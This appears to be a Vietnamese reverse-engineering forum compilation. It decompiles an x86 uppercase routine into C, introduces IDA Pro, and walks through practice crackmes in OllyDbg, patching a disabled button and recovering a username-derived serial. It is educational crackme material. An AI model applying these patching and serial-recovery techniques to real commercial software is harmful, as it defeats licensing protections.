.00412335: 7F0F jg .000412346 —–¯ (2)

.00412337: 0FB645FF movzx eax,b,[ebp][-01]

.0041233B: 83E820 sub eax,020 ;” ”

.0041233E: 8B4D08 mov ecx,[ebp][08]

.00412341: 034DF8 add ecx,[ebp][-08]

.00412344: 8801 mov [ecx],al

.00412346: EBBA jmps .000412302 —–­ (3)

.00412348: 5F pop edi

.00412349: 5E pop esi

.0041234A: 5B pop ebx

.0041234B: 8BE5 mov esp,ebp

.0041234D: 5D pop ebp

.0041234E: C3 retn

Bạn thấy đấy, trên đây là một đoạn mã ASM sử dụng rất nhiều các câu lệnh đơn giản kết hợp với nhau và cuối cùng là để thực hiện một nhiệm vụ nào đó mà chính chúng ta cần phải tìm hiểu. Chúng ta sẽ bắt đầu làm việc từ câu lệnh đầu tiên và cứ như thế cho đến hết, cố gắng để có một cái nhìn tổng quan nhất về những gì sẽ xảy ra bằng việc sử dụng một “Pseudo-C” notation (kí pháp Giả ngôn ngữ C), và cuối cùng là để chuyển nó về chính xác ở C code.

Okie có vẻ vẫn hơi mơ hồ, tôi sẽ cùng các bạn giải quyết. Đầu tiên chúng ta sẽ bắt đầu với những dòng lệnh sau :

.004122F0: 55 push ebp

.004122F1: 8BEC mov ebp,esp

.004122F3: 83EC48 sub esp,048 ;”H”

.004122F6: 53 push ebx

.004122F7: 56 push esi

.004122F8: 57 push edi

Hai dòng lệnh đầu tiên còn được biết đến với một cái tên là “stack frame”.Về bản chất đây là một ‘local’ stack bên trong của hàm, nơi mà chúng ta tưởng tượng như là một căn phòng đặc biệt dùng để chứa các biến cục bộ (local variables). Việc tạo ra căn phòng này có thể được thực hiện rất dễ dàng bằng cách đơn giản là giảm con trỏ stack đi một số bit nào đó, cụ thể là bao nhiêu bytes cần thiết cho việc lưu trữ các biến cục bộ.

Một trong những lợi thế chính của Stack frame chính là ở thanh ghi EBP, nó có thể được sử dụng như là một con trỏ cố định tới các biến tham chiếu (reference varibales) (Nằm ở trên thanh ghi EBP là các tham số, ở dưới nó thì là các biến cục bộ) (Đọc thêm các bài viết của anh Be)

Chú ý rằng các con trỏ Stack như (ESP và EBP) cần phải được phục hồi lại trước rời khỏi một hàm nào đó, để tránh cho việc lỗi Stack corruption.

.004122F0: 55 push ebp

.004122F1: 8BEC mov ebp,esp

.004122F3: 83EC48 sub esp,048 ;”H”

Trên đây là quá trình tạo Stack Frame và căn phòng được với không gian là 48 bytes dành cho việc lưu trữ các biến cục bộ.

Windows yêu cầu rằng một vài thanh ghi khác ngoài ESP và EBP cũng cần được bảo vệ trong suốt quá trình của một Callback function, đó là những thanh ghi EBX, ESI và EDI. Chúng được lưu trữ một cách an toàn trên Stack, và sẵn sàng để khôi phục lại đúng vị trí trước khi rời khỏi hàm.Điều này cho phép sự tự do khi sử dụng những thanh ghi này bên trong một hàm.

Đã có quá trình lưu giữ thanh ghi thì cũng phải có quá trình phục hồi chúng, điều này được thực hiện nhờ vào các câu lệnh rất đơn giản. Và nhìn vào đó ta biết ngay nó làm gì :

.00412348: 5F pop edi

.00412349: 5E pop esi

.0041234A: 5B pop ebx

.0041234B: 8BE5 mov esp,ebp

.0041234D: 5D pop ebp

.0041234E: C3 retn

Đầu tiên 3 thanh ghi được khôi phục từ stack của chúng ta. Sau đó Stack được phục hồi lại trạng thái của nó sau khi hàm đã được gọi và khi gặp câu lệnh Return. Chú ý rằng chúng ta không thể khôi phục Stack trước khi khôi phục 3 thanh ghi được, bởi vì các thanh ghi của chúng đã được lưu trên Stack.Chuyển tất cả đoạn code trên sang C là rất dễ dàng. Bây giờ chúng ta biết rằng đây có thể là một hàm, bởi vì dựa vào Stack Frame cũng như việc lưu trữ và phục hồi các thanh ghi, v..v.. :

void SomeFunction()

{

//…code…

}

Bây giờ tôi giả sử rằng đây là một void function, bởi vì không hề có bất kì một sự thay đổi nào trong thanh ghi EAX trước khi Return. Điều đó không có nghĩa là EAX đã không bị thay đổi. Nhưng cho đến bây giờ, chúng ta sẽ giả sử giá trị trong thanh ghi EAX bị lờ đi.

Tiếp theo chúng ta sẽ tiếp tục với thân của hàm này :

.004122F9: C745F800000000 mov d,[ebp][-08],000000000 ;”

.00412300: EB09 jmps .00041230B —–¯ (1)

.00412302: 8B45F8 mov eax,[ebp][-08]

.00412305: 83C001 add eax,001 ;”J

.00412308: 8945F8 mov [ebp][-08],eax

.0041230B: 8B4508 mov eax,[ebp][08]

.0041230E: 50 push eax

.0041230F: FF1584A34300 call lstrlenA ;KERNEL32.dll

.00412315: 3945F8 cmp [ebp][-08],eax

.00412318: 7D2E jge .000412348 —–¯ (2)

Chúng ta hãy để ý tới giá trị được tham chiếu đến :

d,[ebp][-08] == dword ptr[ebp-08] (in another notation)

Như tôi đã nói, bời vì nó nằm dưới thanh ghi EBP của chúng ta (thanh ghi EBP đang được lưu trên Stack), vì vậy hàm đang lưu trữ một biến cục bộ ở đó. Chúng ta biết được rằng nó có kích thước là DWORD và nó có thể là một giá trị có dấu (signed value), bởi nó được đem đi so sánh với kết quả của hàm lstrlenA, mà kết quả của hàm này là một signed int). Trên nền tảng win32, thì giá trị signed dword trong C là (signed) int. Chúng ta hãy đổi tên của nó thành int_locall để cho việc đọc hiểu trở nên dễ dàng hơn :

.004122F9: mov int_local1, 000000000

.00412300: jmps .00041230B —–¯ (1)

.00412302: mov eax, int_local1

.00412305: add eax,001

.00412308: mov int_local1, eax

.0041230B: mov eax,[ebp][08]

.0041230E: push eax

.0041230F: call lstrlenA ;KERNEL32.dll

.00412315: cmp int_local1,eax

.00412318: jge .000412348 —–¯ (2)

Okie đã thấy sáng sủa hơn một chút, tuy nhiên các bạn hãy cẩn thận ở đây, đừng nhầm lần giữa [ebp][08] với [ebp][-08] . Mặc dù là nhìn thoáng qua ta cũng thấy nó giống nhau đấy chứ, tuy nhiên đây lại là những địa chỉ hoàn toàn khác nhau. Biến tại địa chỉ [ebp][08] thì luôn luôn là một tham số đầu tiên được truyền vào hàm của chúng ta. Chính vì lí do đó chúng ta sẽ đổi tên của giá trị này thành dw_param1. Khà khà sau một hồi phân tích chúng ta đã xác định được biến cục bộ, và làm sáng tỏ được một số vấn đề , bây giờ chúng ta sẽ thử chuyển nó sang một đoạn mã giả C :

int_local1 = 0;

goto label_41230B;

eax = int_local1;

eax = eax + 1;

int_local1 = eax;

label_41230B:

eax = dw_param1;

eax = lstrlenA(eax); //lstrlenA returns its result in eax

if( int_local1 >= eax)

goto label_412348;

Vậy là phần nào chúng ta đã có một cái nhìn dễ dàng hơn với đoạn code trên, tuy nhiên đây mới chỉ là điểm khởi đầu.Việc tiếp theo chúng ta phải dùng tư duy của mình để tối ưu hóa lại đoạn code này, hãy nhìn lại 3 dòng sau :

eax = int_local1;

eax = eax + 1;

int_local1 = eax;

Chúng ta sẽ thấy rằng đoạn code trên là hơi thừa nó có thể được đơn giản hóa lại như sau :

int_local1++;

Điểm khác biệt duy nhất giữa hai cách thể hiện này là thanh ghi EAX không xuất hiện trong cách biểu diễn thứ hai. Chúng ta cần phải cẩn thận quan sát, vì rất có thể giá trị của thanh ghi EAX sẽ lại được sử dụng ở phía bên dưới thì sao J.

Tiếp theo ta đến dòng kế tiếp :

eax = dw_param1;

Điều này có nghĩa là những gì chúng ta làm ở trên là đúng bởi vì thanh ghi EAX đã được thay đổi bằng cách được gán 1 giá trị mới. Phần tiếp theo :

eax = dw_param1;

eax = lstrlenA(eax); // lstrlenA returns its result in eax

if( int_local1 >= eax)

goto label_412348;

Với đoạn code này chúng ta hoàn toàn có thể làm cho nó trở nên dễ dàng hơn, chúng ta có thể kết hợp những câu lệnh trên lại như sau :

if( int_local1 >= lstrlenA(dw_param1) )

goto label_412348;

Một lần nữa chúng ta phải quan sát xem thành ghi EAX có được sử dụng trong các đoạn code bên dưới không, để từ đó chúng ta không bỏ sót vị trí nơi mà giá trị của thanh ghi này đang được sử dụng. Trong các câu lệnh sau đó, giá trị của EAX bị thay đổi, do đó chúng ta không cần quan tâm về những thay đổi của chúng ta. Bởi vì chúng ta biết rằng hàm lstrlenA sẽ lấy đầu vào là một con trỏ trỏ tới một chuỗi, do đó chúng ta sẽ thay đổi tham số này thành pString , cuối cùng ta có được như sau :

int_local1 = 0;

goto label_41230B;

int_local1++;

label_41230B:

if( int_local1 >= lstrlenA(pString))

goto label_412348;

Quan sát toàn bộ đoạn code tiếp theo trong hàm này chúng ta thấy được dòng sau :

.00412346: EBBA jmps .000412302 —–­ (3)

Đây là một câu lệnh nhảy và nó nhảy trở về vị trí có câu lệnh int_local1++; , điều này chứng tỏ đây là một vòng lặp. Nếu như bạn đã quen thuộc với lập trình C, bạn có thể minh họa được cấu trúc này.Đây dường như là một vòng lặp for. Chúng ta sẽ cố gắng để biểu diễn lại nó, bằng cách thay đổi biến int_local1 thành i. Chúng ta sẽ viết lại dưới ngôn ngữ C như sau :

for(i = 0; i < lstrlenA(pString); i++)

{

//…rest of code…

}

Mọi việc đang dần dần được rõ ràng J. Giờ chúng ta đã biết hàm này có một vòng lặp, với số lần lặp bắt đầu từ 0 cho tới chiều dài của chuỗi có được thông qua tham số đầu tiên (lstrlenA(pString)). Tiếp theo chúng ta cần biết những gì đang diễn ra bên trong thân vòng lặp :

.0041231A: mov eax, pString

.0041231D: add eax,i

.00412320: mov cl,[eax]

.00412322: mov [ebp][-01],cl

.00412325: movzx eax,b,[ebp][-01]

.00412329: cmp eax,061 ;”a”

.0041232C: jl .000412346 —–¯ (1)

.0041232E: movzx eax,b,[ebp][-01]

.00412332: cmp eax,07A ;”z”

.00412335: jg .000412346 —–¯ (2)

.00412337: movzx eax,b,[ebp][-01]

.0041233B: sub eax,020 ;” ”

.0041233E: mov ecx, pString

.00412341: add ecx, i

.00412344: mov [ecx],al

Trong đoạn code này chúng ta lại thấy có một biến cục bộ khác được sử dụng. Nó xuất hiện dưới kiểu unsigned char , bởi vì nó có kích thước là byte ( byte ptr) và được sử dụng nhưng là unsigned (bởi câu lệnh movzx). Trong đoạn mã giả C, ta có thể viết lại như sau :

eax = pString;

eax = eax + i;

cl = *(eax);

ch_local2 = cl;

eax = (DWORD) ch_local2;

if(eax < 0×61) // “a”

goto label_412346;

eax = (DWORD) ch_local2;

if(eax > 0x7A) // “z”

goto label_412346;

eax = (DWORD) ch_local2;

eax = eax – 0×20;

ecx = pString;

ecx = ecx + i;

*(ecx) = al;

Bây giờ tiếp tục, chúng ta sẽ làm cho đoạn code của chương trình rõ ràng hơn, tôi đổi tên kí tự thành c cho nó ngắn gọn :

c = pString[i];

if((c < ‘a’) || (c > ‘z’))

goto label_412346;

pString[i] = c-0×20;

Để ý rằng địa chỉ tại 412346 chỉ đơn giản là vị trí kết thúc vòng lặp, vì vậy chúng ta có thể thay thế ‘goto label_412346’ bằng ‘continue;’, hoặc chúng ta có thể đảo conditional jumps.

Chúng ta nhận thấy rằng chương trình kết thúc vòng lặp nếu (c<‘a’)||(c>‘z’), vậy thì nó sẽ không kết thúc vòng lặp nếu ta đổi thành (c>=’a’)&&(c<=’z’), điều này cho phép chúng ta thay đổi lại cấu trúc như sau :

c = pString[i];

if((c >= ‘a’) && (c <= ‘z’))

pString[i] = c-0×20;

//…end of loop

Các bạn thấy đó , mọi thứ đã sáng tỏ và dễ hiểu hơn rất nhiều. Bây giờ chúng ta đã bắt đầu hiểu những gì đoạn code này đang làm. Chúng ta hãy sắp xếp lại chúng lại thành đoạn code cuối cùng như sau :

void SomeFunction(char* pString)

{

int i; //Local variables have to be declared

unsigned char c; //at the start of the function.

for(i = 0; i < lstrlenA(pString); i++)

{

c = pString[i];

if((c >= ‘a’) && (c <= ‘z’))

pString[i] = c-0×20;

}

}

Cuối cùng chúng ta đã có được một đoạn code ngắn gọn hơn nhiều so với những gì chúng ta đã đọc với ASM code.Nó đã được chuyển đổi hoàn toàn sang ngôn ngữ C, nhiệm vụ của nó là lấy từng kí tự từ String đầu vào, và nếu kí tự đó nằm trong khoảng ‘a’ và ‘z’ (tức là các kí tự chữ cái thường) nó sẽ được trừ đi cho 0x20h. Mà phép trừ này biểu diễn cho quá trình chúng ta chuyển đổi nó từ chữ cái thường thành chữ cái hoa. Do đó chúng ta sẽ đặt tên cho hàm này một cách gợi nhớ hơn là ToUpperCase .

V. Lời kết

Toàn bộ quá trình mà tôi và các bạn đã làm ở trên được gọi với cái tên : RE (Reverse Engineering). Chúng ta thấy rằng nó không phải là một việc làm quá khó, nhưng nó đòi hỏi một lòng kiên nhẫn và một kiến thức nền tảng vững chắc. Để chỉ khi ta chỉ nhìn lướt qua đoạn code ta có thể hiểu ngay được nó làm gì. Có một công cụ giúp chúng ta đơn giản hóa công việc đi rất nhiều, một trong số đó chính là IDA mà tôi đã giới thiệu với anh em.Hi vọng bài viết này của tôi sẽ phần nào giúp mọi người hiểu được quá trình phân tích một đoạn code như thế nào, chỉ có một lời khuyên duy nhất đó là các bạn hãy thực hành thật nhiều mới có thể đạt được những điều mình mong muốn. Qua đây tôi cũng xin cảm ơn tác giả Webbit đã cho chúng ta một bài viết rất hay và bổ ích.

Thời gian trôi đi rất nhanh

Vì sao ta cứ mãi đứng yên

Ngoài kia bóng tối đang dần buông

Lại một ngày nữa sắp qua mất rồi.

PS : Hi vọng anh TQN, Thug và light.phoenix có thời gian viết vài bài cho anh em mở rộng tầm mắt J

Best Regards

_[Kienmanowar]_

IDA Pro Advanced_N0w 0r N3v3r

Author: _[kienmanowar]_

“Sóng gió cuộc đời chợt đến có ai chờ đợi.

Biết đâu một ngày phận người que diêm trước gió.

Lụi tàn trong một sớm không ngoài ai.

Nhưng với một triệu người

Hơi ấm sẻ chia từng người

Những đôi tay trần dìu nhau qua cơn khốn khó

Tầm hồn luôn rộng mở rất chân thành”

Rock mang đến cho tôi sự hứng khởi, lòng đam mê, tình yêu cháy bỏng, sự cuồng nhiệt và niềm tin vào cuộc sống. Giúp tôi vững bước trước mọi khó khăn sóng gió cuộc đời.”

I. Intro :

Chào tất cả các anh em REA, chúng ta lại gặp nhau trong phần tiếp theo tôi viết về IDA. Đây là bài viết của tác giả Medardus, có thể coi đây như là một “đơn đặt hàng” của anh Be, và tôi là người đứng ra nhận “bảo kê” cho “đơn đặt hàng” này. Thực tế tôi đã có ý định viết bài này từ rất lâu nhưng… hii lại có từ nhưng, vì thời gian bận bịu quá, sắp tới công việc lại có một số thay đổi mà chưa biết sẽ thế nào. Như đã hứa với anh em, bài viết trước tôi đã giới thiệu sơ qua một số tính năng của IDA, đủ để thuyết phục những người dù là khó tính nhất.Trong bài viết này tôi sẽ ứng dụng sử dụng IDA trong quá trình Reverse một Crackme.Hii trình độ tôi vẫn còn kém cỏi, không biết có đủ sức để hầu chuyện anh em không nữa :) . Okie, N0w L3t’s g0!!!!

II. IDA or W32Dasm…. N0w 0r N3v3r!!

Từ những ngày đầu tiên chập chững bước vào tìm hiểu thế giới Cracking & Reversing, những tut đầu tiên mà tôi đọc là của bậc đàn anh Ngô Vĩnh Hoàng hay còn được biết đến với nickname là NVH(c), nhớ lại cái thủa ban đầu ngơ ngác ấy tôi chẳng biết cái quái gì cả, chỉ biết đọc, down công cụ và làm theo một cách hoàn toàn dập khuôn , cứ 74->75, 75->74, không được nữa thì hehe Nop, nop, nop mà ít đầu tư vào suy nghĩ tại sao lại như thế.Mà hầu hết các tut thời đó đều sử dụng W32Dasm, Hiew, SoftIce v…v.. Sh1t!! nghĩ lại cái lúc hì hục cái SoftIce đến nhục, đọc và làm theo y như hướng dẫn mà lần nào Debug không treo máy thì lại bị Crash, hic cú quá tôi nghỉ chơi với SoftIce. Rồi sau này đọc các tut của lão nhỏ, tham gia vào REA ngay từ những ngày đầu tiên tôi dần dần tìm hiểu từ từ từng tí một. Các tut thời gian đó cũng hầu hết tập trung vào SoftIce, W32Dasm nhưng có sự xuất hiện của một Tool debugger mới mà hiện nay các bạn đang sử dụng đó, không nói chắc các bạn cũng biết đó chính là “em” Ollydbg. Hiii sân chơi của REA lúc đó đâu có được đông như bây giờ, chỉ có vài anh em, cầm đầu là anh Còm, anh Moon, lão Zom, bác RongchauA, bác deux, chú Little, trong đó người có nhiều bài viết nhất là anh Moon, khà khà tôi, anh Be, lão Q là một trong những member đầu tiên và cũng là những người trụ lại lâu nhất trong REA. Có thể nói REA lúc đó là một tập thể tuy chưa hiểu hết về nhau nhưng đã có cảm giác như anh em một nhà, rất gắn bó, trao đổi thẳng thắn, giúp đỡ nhau nhiệt tình và cho đến bây giờ vẫn vậy. Có thể tự hào mà nói rằng REA là một trong những 4room có “chất” nhất ở Việt Nam.

Hehe hơi lạc đề thì phải, như các bạn thấy thời đó công cụ Disassembly được ưa chuộng nhất là W32Dasm, có thể nói nó là công cụ của mọi Newbies, đơn giản, dễ học và dễ sử dụng. Nhưng sau này khi được tiếp xúc nhiều hơn với Cracking & Reversing, tôi thấy có một công cụ được nhắc đến khá nhiều đó là IDA được dùng cho cả hai giới Reversing lẫn Security.Lúc đó tôi tự hỏi “IDA là công cụ gì mà kinh thế?” nhưng rất tiếc không có câu trả lời. Sau này khi W32Dasm không còn được phát triển nữa, nó không đáp ứng được những chương trình có mức độ Protect cao cũng như những chương trình bị Packed, hic hic không còn cách nào khác tôi đành nhắm mắt đưa chân, download em IDA về “nghịch” thử xem thế nào. Phải nói rằng cảm giác đầu tiên khi mở IDA lên là một cảm giác choáng ngợp đến khỏ tả, vừa khó dùng lại vừa lắm chức năng, rối rắm và phức tạp J.

IDA là một chương trình Disassembler được phát triển bởi hãng DataRescure. Những ai đã từng sử dụng qua W32Dasm thì chắc hẳn sẽ biết Disassembler là như thế nào.Đối với những người chưa biềt gì thì có thể nói: Disassembler là một chương trình, mà theo đó nhờ vào sự giúp đỡ, hỗ trợ của chương trình này nó sẽ chuyển đổi code của một file (exe hay dll) về dạng mã assembler, được sắp xếp lại theo một khuôn dạng dễ hiểu và dễ đọc hơn. IDA hỗ trợ đầy đủ

các tính năng có trên W32Dasm, thêm vào đó nó còn hộ trợ thêm những tính năng cao cấp khác mà W32Dasm không có, ví dụ như : FLIRT (Nearly Library Identification and Recognition Technology), giúp đỡ cho việc nhận diện các hàm phù hợp từ các thư viện khác nhau và hỗ trợ các chú thích cung cấp cho việc mô tả.Sẽ rất ít người trả lời cho bạn tại sao IDA lại được sử dụng nhiều đến thế, chỉ còn mỗi một cách là tự mình tìm hiểu và chắt lọc. Vậy còn chần chừ gì nữa mà không tìm hiểu về IDA.

III. Play with Crackme

Oki, tốn bao giấy mực mới đến phần quan trọng nhất của bài viết này, đó là sử dụng IDA để thực hành với 1 Crackme.Tại sao lại là Crackme vì đơn giản nó có kích thước nhỏ và dễ dàng trong việc

Demo những kiến thức, thêm nữa là IDA sẽ disassembly rất nhanh còn nếu không bạn phải chờ dài cổ khà khà. Trong bài ngày hôm nay tôi sẽ sử dụng Crackme là CoSH Crackme #2.exe. Run thử Crackme này lên xem thế nào, đây chính là một bước quan trọng trong quá trình Reverse, tương tự như ta tiếp xúc với một người, ta phải quan sát thái độ, hành vi của người đó trước để còn liệu đường mà cử xử lại cho phải phép :) .

Download toàn bộ bài viết tại đây :

ida_now_or_never

Trên REA lão RCA có code một cái crackme nhỏ và ra đề như sau :

+ Crackme level 1.1 by Rongchaua.
- Level : Very very easy.
- Aim :
. Thực tập cách set breakpoint.
. Thực tập patch.
. Mã Ascii.

Rảnh rỗi ngồi phân tích thử xem thế nào!

Dùng PeID check thử, hú hồn may quá lão Rồng nhà ta không pack, thoát khỏi bước đầu tiên. Đọc Rulz và run thử Crackme thì thấy nút Checkit bị Disable mất tiêu. Soi lại list các hàm API thường dùng cho Window thì thấy có em EnableWindow (đây mới chỉ là nghi thôi)

The EnableWindow function enables or disables mouse and keyboard input to the specified window or control. When input is disabled, the window does not receive input such as mouse clicks and key presses. When input is enabled, the window receives all input.

BOOL EnableWindow(
HWND hWnd, // handle to window
BOOL bEnable // flag for enabling or disabling input
);

Parameters
hWnd
Identifies the window to be enabled or disabled.
bEnable
Specifies whether to enable or disable the window. If this parameter is TRUE, the window is enabled. If the parameter is FALSE, the window is disabled.

Okie đã có thông tin cho sol đầu tiên “Patch to enable the button”, load crackme vào trong Olly. Tại Olly , chuột phải và chọn Search all intermodular calls, ta sẽ thấy được một list các danh sách API mà lão Rồng dùng :

Found intermodular calls
Address Disassembly Destination
00401000 Cr PUSH 0 (Initial CPU selection)
004010FE CALL user32.CreateDialogParamA
00401035 CALL user32.DialogBoxParamA
0040107D CALL user32.EnableWindow
0040108C CALL user32.EnableWindow
004011D5 CALL user32.EnableWindow
004011EF CALL user32.EnableWindow
00401113 CALL user32.EndDialog
00401125 CALL user32.EndDialog
0040123C CALL user32.EndDialog
0040103B CALL kernel32.ExitProcess
0040106C CALL user32.GetDlgItem
004011C8 CALL user32.GetDlgItem
004011E2 CALL user32.GetDlgItem
004010BA CALL user32.GetDlgItemTextA
004010D1 CALL user32.GetDlgItemTextA
00401002 CALL kernel32.GetModuleHandleA
00401017 CALL user32.LoadIconA
0040118C CALL kernel32.lstrcatA
004011A3 CALL kernel32.lstrcmpA
0040115F CALL kernel32.lstrlenA
004011BB CALL user32.MessageBoxA
00401205 CALL user32.MessageBoxA
00401140 CALL ntdll.RtlZeroMemory
0040114F CALL ntdll.RtlZeroMemory
0040105F CALL user32.SendMessageA
0040122A CALL user32.SendMessageA
0040117A CALL user32.wsprintfA

_Ái chà có tới 4 hàm EnableWindow lận, vậy là không còn nghi ngờ gì nữa rồi.Chuột phải vào 1 hàm EnableWindow bất kì và chọn Set BP on every call to EnableWindow. Kết thúc quá trình Set BP, bây h nhấn F9 để Run cracke. Bụp, Olly đã break tại 1 hàm EnableWindow và đây chính là hàm cần Patch. Lý do tại sao tôi khẳng định được là vì khi form crackme của lão Rồng được load lên thì hàm EnableWindow sẽ được load theo để Disable cái nút nhấn Checkit :

00401087 |> \6A 00 PUSH 0 ; /Enable = FALSE <== Patch here
00401089 |. FF75 FC PUSH DWORD PTR SS:[EBP-4] ; |hWnd
0040108C |. E8 D3010000 CALL ; \EnableWindow <== Break here

_Dịch lên 1 chút ta thấy PUSH 0, và thấy Olly comment bên cạnh. Do đó ta sẽ patch lại thành PUSH 1 . (0 và 1 ở đây thực chất là các cờ dùng cho việc set disable hoặc enable)

_Patch xong save lại và Run .. Done nút Checkit đã được Enable lên. Vậy là đã giải quyết được bài tập thứ nhât!

_Tiếp theo là đến bài tập tìm Real Serial. Như trong danh sách các APIs mà lão Rồng dùng ở trên, chúng ta để ý thấy có hàm GetDlgItemTextA. Check lại info về hàm này :

The GetDlgItemText function retrieves the title or text associated with a control in a dialog box.
UINT GetDlgItemText(
HWND hDlg, // handle of dialog box
int nIDDlgItem, // identifier of control
LPTSTR lpString, // address of buffer for text
int nMaxCount // maximum size of string
);

_Okie vậy là ta set 1 BP tại GetDlgItemTextA. Sau đó nhấn F9 để run Crackme và nhập thông tin về UserName và Fake Serial vào. Cuối cùng nhấn CheckIt, ta sẽ break tại đây trong Olly :

004010A8 |. 68 00010000 PUSH 100 ; /Count = 100 (256.)
004010AD |. 68 68304000 PUSH CrackMe.00403068 ; |Buffer = CrackMe.00403068
004010B2 |. 68 EC030000 PUSH 3EC ; |ControlID = 3EC (1004.)
004010B7 |. FF75 08 PUSH DWORD PTR SS:[EBP+8] ; |hWnd
004010BA |. E8 B7010000 CALL ; \GetDlgItemTextA <== Break here

Tại cửa sổ Stack :

0012FB1C 000C019E |hWnd = 000C019E ('CrackMe Level 1.1 by Rongchaua',class='#32770')
0012FB20 000003EC |ControlID = 3EC (1004.)
0012FB24 00403068 |Buffer = CrackMe.00403068
0012FB28 00000100 \Count = 100 (256.)

_UserName nhập vào của chúng ta sẽ được lưu tại Buffer trên. F8 để trace qua hàm , tại cửa sổ Dump ta có :

00403068  6B 69 65 6E 6D 61 6E 6F 77 61 72 00 00 00 00 00  kienmanowar.....

_Tương tự với hàm tiếp theo ta cũng có được kết quả FakeSerial được lưu vào một Buffer khác :

00403368  31 31 31 31 31 39 38 32 00 00 00 00 00 00 00 00  11111982........

_Sau khi Trace xong ta tới đây :


004010D6 |. FF75 08 PUSH DWORD PTR SS:[EBP+8] ; /Arg1
004010D9 |. E8 52000000 CALL CrackMe.00401130 ; \CrackMe.00401130 <== Trace Into

_ Trace Into vào hàm Call ở trên, ta sẽ tới quá trình tính toán sinh ra Real Serial.

00401130 /$ 55 PUSH EBP
00401131 |. 8BEC MOV EBP,ESP
00401133 |. 83C4 F8 ADD ESP,-8
00401136 |. 68 00010000 PUSH 100 ; /Length = 100 (256.)
0040113B |. 68 68314000 PUSH CrackMe.00403168 ; |Destination = CrackMe.00403168
00401140 |. E8 55010000 CALL ; \RtlZeroMemory
00401145 |. 68 00010000 PUSH 100 ; /Length = 100 (256.)
0040114A |. 68 68324000 PUSH CrackMe.00403268 ; |Destination = CrackMe.00403268
0040114F |. E8 46010000 CALL ; \RtlZeroMemory
00401154 |. BE 68324000 MOV ESI,CrackMe.00403268 ; ASCII "6b"
00401159 |. BF 68304000 MOV EDI,CrackMe.00403068 ; <== FU
0040115E |. 57 PUSH EDI ; /String => "kienmanowar"
0040115F |. E8 48010000 CALL ; \lstrlenA
00401164 |. 8BD8 MOV EBX,EAX ; <== Len = Length(User Name)
00401166 |. 33C0 XOR EAX,EAX ; <== i == 0
00401168 |> 50 /PUSH EAX ; <== i
00401169 |. 53 |PUSH EBX ; <== Len
0040116A |. 57 |PUSH EDI ; <== FU
0040116B |. 0FBE0C38 |MOVSX ECX,BYTE PTR DS:[EAX+EDI] ; <== Temp = FU [i]
0040116F |. 51 |PUSH ECX ; /<%x>
00401170 |. 68 59304000 |PUSH CrackMe.00403059 ; |Format = "%x"
00401175 |. 68 68314000 |PUSH CrackMe.00403168 ; |s = CrackMe.00403168
0040117A |. E8 D3000000 |CALL ; \wsprintfA
0040117F |. 83C4 0C |ADD ESP,0C
00401182 |. 68 68314000 |PUSH CrackMe.00403168 ; /StringToAdd = "69"
00401187 |. 68 68324000 |PUSH CrackMe.00403268 ; |ConcatString = "6b"
0040118C |. E8 0F010000 |CALL ; \lstrcatA
00401191 |. 5F |POP EDI
00401192 |. 5B |POP EBX
00401193 |. 58 |POP EAX
00401194 |. 40 |INC EAX ; <== i++
00401195 |. 3BC3 |CMP EAX,EBX ; <== While i < Len
00401197 |.^ 7C CF \JL SHORT CrackMe.00401168 ; <== Continue
00401199 |. 68 68334000 PUSH CrackMe.00403368 ; /String2 = "11111982"
0040119E |. 68 68324000 PUSH CrackMe.00403268 ; |String1 = "6b"
004011A3 |. E8 FE000000 CALL ; \lstrcmpA
004011A8 |. 0BC0 OR EAX,EAX
004011AA |. 75 4A JNZ SHORT CrackMe.004011F6
004011AC |. 6A 00 PUSH 0 ; /Style = MB_OK|MB_APPLMODAL
004011AE |. 68 00304000 PUSH CrackMe.00403000 ; |Title = "Reverse Engineering Association"
004011B3 |. 68 20304000 PUSH CrackMe.00403020 ; |Text = "Congratulation! You've done with it"
004011B8 |. FF75 08 PUSH DWORD PTR SS:[EBP+8] ; |hOwner
004011BB |. E8 C2000000 CALL ; \MessageBoxA
004011C0 |. 68 EC030000 PUSH 3EC ; /ControlID = 3EC (1004.)
004011C5 |. FF75 08 PUSH DWORD PTR SS:[EBP+8] ; |hWnd
004011C8 |. E8 A3000000 CALL ; \GetDlgItem
004011CD |. 8945 FC MOV DWORD PTR SS:[EBP-4],EAX
004011D0 |. 6A 00 PUSH 0 ; /Enable = FALSE
004011D2 |. FF75 FC PUSH DWORD PTR SS:[EBP-4] ; |hWnd
004011D5 |. E8 8A000000 CALL ; \EnableWindow
004011DA |. 68 ED030000 PUSH 3ED ; /ControlID = 3ED (1005.)
004011DF |. FF75 08 PUSH DWORD PTR SS:[EBP+8] ; |hWnd
004011E2 |. E8 89000000 CALL ; \GetDlgItem
004011E7 |. 8945 F8 MOV DWORD PTR SS:[EBP-8],EAX
004011EA |. 6A 00 PUSH 0 ; /Enable = FALSE
004011EC |. FF75 F8 PUSH DWORD PTR SS:[EBP-8] ; |hWnd
004011EF |. E8 70000000 CALL ; \EnableWindow
004011F4 |. EB 14 JMP SHORT CrackMe.0040120A
004011F6 |> 6A 00 PUSH 0 ; /Style = MB_OK|MB_APPLMODAL
004011F8 |. 68 00304000 PUSH CrackMe.00403000 ; |Title = "Reverse Engineering Association"
004011FD |. 68 44304000 PUSH CrackMe.00403044 ; |Text = "No,no! Try it again!"
00401202 |. FF75 08 PUSH DWORD PTR SS:[EBP+8] ; |hOwner
00401205 |. E8 78000000 CALL ; \MessageBoxA
0040120A |> C9 LEAVE
0040120B \. C2 0400 RETN 4

_ Tóm tắt đoạn code này như sau :
Đây là một vòng lặp dùng để chuyển từng kí tự trong chuỗi user name mà chúng ta nhập vào sang dạng mã Hexa của kí tự đó ( ví dụ : k — 0x6b). Sau quá trình trace khỏi vòng lặp ta được kết quả như sau :

EAX 0000000B <== length(FU)
ECX 77E74BAE kernel32.77E74BAE
EDX 00000003
EBX 0000000B
ESP 0012FB18
EBP 0012FB20
ESI 00403268 ASCII "6b69656e6d616e6f776172" <== after converted
EDI 00403068 ASCII "kienmanowar" <== String to convert

_Chuỗi sau khi tính toán sẽ được đem đi so sành với Serial mà chúng ta nhập vào. Đúng thì Ok, còn sai thì đi bụi

00401199 |. 68 68334000 PUSH CrackMe.00403368 ; /String2 = "11111982"
0040119E |. 68 68324000 PUSH CrackMe.00403268 ; |String1 = "6b69656e6d616e6f776172"
004011A3 |. E8 FE000000 CALL ; \<== Compare two Strings

Kết quả cuối cùng :

User Name : kienmanowar
Serial    : 6b69656e6d616e6f776172

Phần tiếp theo là dùng IDA+HexRays :

